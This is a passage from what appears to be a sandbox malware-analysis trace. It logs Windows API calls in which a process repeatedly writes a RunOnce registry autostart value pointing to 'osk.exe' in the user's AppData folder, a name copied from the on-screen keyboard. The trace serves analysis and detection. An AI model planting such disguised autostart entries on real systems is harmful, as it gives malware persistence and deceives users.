lpMsg=0x95f69c) returned 1 [0257.570] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.570] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.571] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.571] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.571] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.572] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.572] RegCloseKey (hKey=0x14c) returned 0x0 [0257.572] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.572] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.586] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.586] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.586] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.586] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.586] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.587] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.587] RegCloseKey (hKey=0x14c) returned 0x0 [0257.587] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.587] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.601] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.601] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.602] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.602] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.602] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.602] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.603] RegCloseKey (hKey=0x14c) returned 0x0 [0257.603] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.603] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.622] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.622] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.622] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.623] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.623] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.623] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.623] RegCloseKey (hKey=0x14c) returned 0x0 [0257.624] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.624] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.632] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.632] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.633] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.633] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.633] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.633] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.634] RegCloseKey (hKey=0x14c) returned 0x0 [0257.634] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.634] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.648] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.648] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.649] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.649] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.649] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.650] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.650] RegCloseKey (hKey=0x14c) returned 0x0 [0257.650] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.650] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.664] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.664] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.664] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.665] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.665] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.665] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.665] RegCloseKey (hKey=0x14c) returned 0x0 [0257.665] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.666] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.679] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.679] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.680] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.680] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.680] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.681] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.681] RegCloseKey (hKey=0x14c) returned 0x0 [0257.681] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.681] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.695] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.695] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.695] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.696] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.696] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.696] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.696] RegCloseKey (hKey=0x14c) returned 0x0 [0257.696] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.697] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.711] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.711] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.712] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.712] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.712] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.712] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.713] RegCloseKey (hKey=0x14c) returned 0x0 [0257.713] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.713] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.726] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.726] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.727] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.727] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.727] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.728] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.728] RegCloseKey (hKey=0x14c) returned 0x0 [0257.728] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.728] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.742] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.742] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.742] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.743] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.743] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.743] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.743] RegCloseKey (hKey=0x14c) returned 0x0 [0257.743] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.744] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.761] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.761] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.761] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.762] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.762] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.762] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.762] RegCloseKey (hKey=0x14c) returned 0x0 [0257.763] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.763] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.789] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.789] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.789] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.790] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.790] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.790] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: 